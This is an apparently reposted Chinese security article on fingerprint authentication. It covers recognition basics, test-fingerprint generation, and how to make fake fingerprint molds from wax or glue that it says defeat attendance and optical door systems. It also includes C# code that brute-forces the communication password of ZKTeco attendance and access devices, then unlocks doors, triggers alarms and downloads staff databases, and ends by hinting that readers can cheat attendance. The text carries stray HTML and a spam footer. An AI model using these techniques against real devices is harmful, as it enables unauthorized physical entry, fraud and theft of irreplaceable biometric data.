<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2140

            0x00 背景


            傳統安全技術把用戶生物信息作為信任對象進行可信計算來當作認證因子,包括對用戶進行生物信息模式識別,對目標的生物模式進行密碼學計算,對目標進行融合驗證計算等。生物信息特征種類繁多,現階段包括:指紋,人臉,語音等等,間接生物識別包括DNA圖譜識別,涉及化驗技術才能進行,我們不是法醫,這里不做涉及講解。

            0x01?為何要講解指紋識別?


            現代計算機及網絡識別基礎上的指紋應用還是比較廣泛的(從數量上說用指紋識別的比其它一些生物特征識別技術要多,配置指紋識別的單位安全級別不及虹膜識別高),涉及的問題也開始層出不窮,如果未來手機上學蘋果一樣普及這項技術,移動終端APP收集指紋到服務器可能會有安全問題出現。

            0x02 傳統指紋識別技術要點


            指紋學的歷史可以追述到幾百年前,1892?年,英國學者高爾頓的《指紋學》(1892),提出了三個影響重大的科學論點:1.指紋終生不變;2.指紋可識別;3.指紋可分類。

            2014060219564549627.png

            亨利氏指紋分類法依照指紋形狀將指紋分成斗形紋、箕形紋和弧形紋三大類。

            斗形紋又可細分為斗形紋、雙箕形紋、囊形紋和雜形紋;

            箕形紋可再分為正箕形紋和反箕紋形;

            弧形紋也有弧形紋和帳形紋。

            美國聯邦調查局所管理的指紋數據庫名為IAFIS,內容包括4700萬組指紋,使用的分類法為八大類型分析法:紋型線;內端及三角;箕形紋內端;箕形紋外端;斗形紋內端;斗形紋外端;追跡線;指紋類型

            這里現有的《visual?c++指紋模式識別系統算法及實現》為我們做了很好的技術方面的參考。

            0x03 指紋識別一般步驟


            (1)圖像預處理

            去躁.濾波等原始圖像真實化處理,然后按紋理進行增強處理,然后數字化指紋圖像進行細化處理.

            (2)指紋特征數字化

            數字化指紋端點和紋線分叉點(取指紋紋理上類似線段特征).

            2014060219581469649.png

            (3)特征匹配測量

            將指紋端點和叉點集合采集的特征模板與現存的樣板進行拓撲結構匹配測量.

            2014060219590465050.png

            0x04 技術的大致實現原理


            這里認證技術包括圖像處理,特征提取,匹配算法,特征提取又包括Poincare值計算。沒有下列圖說得這么簡單,而且現在設備基本不存圖像,而是根據指紋算Key再存儲。文章太多寫不完,這里標個記,到時候在另起文章寫,算法也是可以另寫一篇的。

            2014060220002861484.png

            2014060220011548532.png

            步驟包括

            1.指紋先被掃描(光學等) 
            2.指紋被分析特征點被提取(端點,叉點,中心點及奇異點) 
            3.指紋特征作為模板存儲到指紋數據庫 
            

            0x05 指紋采集自動化生成工作指紋生成器FPGenerator建立指紋庫


            有時候做系統測試需要一批指紋樣例,一個個采集指紋是很麻煩的事情,這里我們可以直接使用中國科學院自動化研究所的FPGenerator來自動生成我們需要的一些指紋來做指紋數據庫樣例的工作.

            輪廓:

            Fingerprint?mask?generation?上的“Left”,“Right”,“Top”,“Bottom”操作指紋圖像左,右,上,下的輪廓。

            2014060220022232828.png

            背景修改:

            “none”,“Optical(光學)”,“Scrapping(刮擦)”。

            2014060220025652689.png

            中間過程總共有10步,大家只要遇到需要進行指紋系統試驗的情況,可以用它生成采集圖像,里面包括了干燥,圖像加噪點等功能。

            0x06 土辦法實現指模提取及復制


            有時候沒有自動化生成軟件情況下,我們需要對方指紋模型或者自己的指紋模型,或者根據竊取來的指紋做一個偽造產品(在犯罪現場留下一個偽造他人的指紋并不是做不到),或者盜竊別人的生物特征指紋,這個不像傳統的密碼被盜就可以隨時修改,被盜走就追不回來了,所以寫這篇文章目的在于強調指紋認證系統的數據庫安全,當然其它生物特征作為雙因子認證的系統同樣要注意。

            1.實際上提取指紋的材料非常多,做指模的材料可以使用蠟燭,氰基丙烯酸鹽粘合劑,膠帶紙等。比方下列我可以直接搞到手的東西。

            2014060220064890937.jpg

            2.關于指模的制作,可以直接選用滴蠟的方式制作指模,比較方便,便于就地隨手取材,貌似市面上賣的制作指模的就是這么個辦法。當然還有用塑膠產品做還有用橡皮泥做,更多的有取指紋的專業膠帶做。

            2014060220072717035.png

            3.成品指模大致上就是下圖本大爺指紋的樣子,可以過一般的考勤機及光學門禁系統。

            2014060220080388625.png

            0x07?WHY?I?HACKED?TOUCHID?Marc?Rogers演講用的PPT中比較有意思的地方


            早在2013年的syscan上Marc?Rogers就演示過指模繞過蘋果iphone的指紋認證,其中PPT的”How?Fingerprint?Scanners?FAIL”部分提到過幾點注意的地方

            1.指紋掃描儀信任我們在任何物體上觸碰留下的證明痕跡 
            2.如果你能獲得并復制指紋特征,你就能實現重放攻擊 
            3.小熊軟糖能夠在很多系統上實現指紋功能,當然純明膠效果更好(隆胸等材料) 
            4.明膠是一種從動物皮膚上提取做成的蛋白質,所以與人體皮膚非常相似 
            5.明膠被用于指紋重放攻擊上并不意外 
            6.最新的系統也會把這種仿真指紋識別為真指紋 
            

            2014060220084943813.png

            2002年論文Impact?of?Artificial?"Gummy"?Fingers?on?Fingerprint?Systems也有提到過幾種材料(活體,硅膠,明膠)的對比問題,它們之間紋理差別并不是很大,類似于人體活體指紋一樣,能夠輕易騙過辨識度不是很高的指紋認證產品。

            2014060220103254320.png

            PPT中詳細介紹了指紋提取流程,涉及數碼照相,閾值色階調整,打印,方便用來做指模。如下圖所示:

            2014060220111911220.png

            2014060220120425154.png

            2014060220122740739.png

            PPT最后的部分“But,?What?does?this?mean?”中提到了幾個有趣的觀點

            1.指紋認證并不是最高級別的安全措施,,但是指紋認證是一種方便的安全措施,所以我們常用在考勤,門禁,及手機能產品上 
            2.街上的賊并不會指紋克隆技術去解鎖偷來的iphone手機,他們會重刷系統然后賣掉 
            3.單獨來說,指紋認證不該被用于保護你的銀行賬戶,護照或被偷的機密文檔。(其實現在國內基本用于雙因子認證補充) 
            4.門禁及一些老設備識別活體指紋還是有點難度,所以還需要加上一些溫感等監測方法,當然用溫水加熱也許能繞過。 
            

            0x08 指紋考勤系統軟件設計缺陷,一些好玩的東西


            只要能搞定指紋考勤機(其余類型考勤機也同樣),在很大情況下能搞定一家公司的所有人員信息,下面我說一下在研究指紋設備時發現的認證缺陷問題。

            這里在軟件選型上我找到了規模比較大的中控生物旗下的考勤產品下載,其中有下載量比較大的ZKTime系列的免費版。

            2014060220133172492.png

            介紹里說明幾乎支持所有類型的指紋考勤機,指紋門禁及所有同品牌類型的指紋產品類型,如果算連接網絡的設備全中國估計會有6位數以上的設備終端。

            網站上有一篇“戶外物理設備入侵之:入侵并“調教”中控指紋語音考勤系統(打卡機)”,作者只是寫了個大概,并沒有對程序進行過分析,有些概念是錯誤的,反正正好我也在研究,重新寫一些東西糾正一下好了。

            關于此類設備的認證方面網上都有資料可循,不過有些人說是明文,三次握手部分看不到有此類的數據包,所以應該是加密算法做哈希,尤其說過此密碼估計要設備終端和PC終端相同才行。(設備默認開啟4370端口,6位數字組合為暴力枚舉必破)

            2014060220160246182.png

            2014060220170692817.png

            所以這里設備爆破手法1.搞清密碼處理流程用數據包騙過去。2,直接扣二次開發SDK或者找開發資料把函數扣出來。

            索性SDK做得簡單易懂,我看一天左右就可以上手編寫破解密碼的程序部分了。

            2014060220183670975.jpg

            指紋考勤聯機部分的流程SDK文檔如下:

            2014060220192293626.jpg????

            遠程網絡認證部分關鍵函數有兩個:

            1.Connect_Net?

            VARIANT_BOOL?Connect_Net(?[in]?BSTR?IPAdd,?[in]?long?Portl)

            布爾類型的函數

            IPAdd,(遠程設備IP地址)和Port(設備認證端口)

            2.SetCommPassword

            VARIANT_BOOL?SetCommPassword(?[in]?long?CommKey)

            CommKey為密碼(小聲說一句,可能是為了兼容或者開發方便,認證方式實在很弱)。

            整個連接過程不過很短的幾句代碼,加個循環就能成為破解密碼程序:

            #!cpp
            private void CrackerConnect() {
                zkemkeeper.CZKEMClass axCZKEM1 = new zkemkeeper.CZKEMClass();
                int ifcommnetpass = 0;
                for (j = 0; j < 24; j++) {
                    key = comkeys[j];
                    pwd = axCZKEM1.SetCommPassword(key);
                    if (pwd == true) {
                        bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                        if (bIsConnected == true) {
                            btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                            lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), comkeystr[j]);
                            iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. 
                            axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all) 
                            ifcommnetpass = 1;
                            break;
                        } else {
                            lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), comkeystr[j]);
                        }
                    }
                }
                if (ifcommnetpass == 0) {
                    for (j = 0; j < 1000000; j++) {
                        key = keys[j];
                        pwd = axCZKEM1.SetCommPassword(key);
                        if (pwd == true) {
                            bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                            if (bIsConnected == true) {
                                btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), keystr[j]);//
                                iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. //
                                axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all) 
                                break; 
                            } else {
                                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), keystr[j]);
                            }
                        }
                    }
                }
                Cursor = Cursors.Default;
            }
            

            注意先注冊SDK里提供的控件再調用里面的接口函數:

            2014060220263466786.jpg

            按照SDK開發的專門入侵的程序可以做到遠程開關設備和遠程清密碼,還有開門禁等等。

            比方說開門禁的

            ACUnlock

            【函數定義】

            VARIANT_BOOL??ACUnlock([in]?long?dwMachineNumber,?[in]?long?Delay)

            【功能】

            開門,使開門控制器輸出開門電平,并延遲(Delay/10)秒后關門

            【參數】

            dwMachineNumber

            機器號

            Delay

            開門延遲時間

            【返回值】

            成功返回True,否則返回False

            2014060220272581566.jpg

            還有很多功能,比如鳴叫報警,自動開門,下載整個公司數據庫,照片指紋等,甚至可以像游戲Watch?dog里一樣手機開門,手機關門禁和考勤設備,其實考勤及門禁設備也很重要。

            大家節后上班考勤難免會有問題,有緣人看這篇文章應該知道咋做了。

            附錄:

            參考資料:

            《可信云安全管家技術實現》

            《WHY?I?HACKED?TOUCHID》Marc?Rogers

            《TFT?系列脫機通訊開發包開發手冊》

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线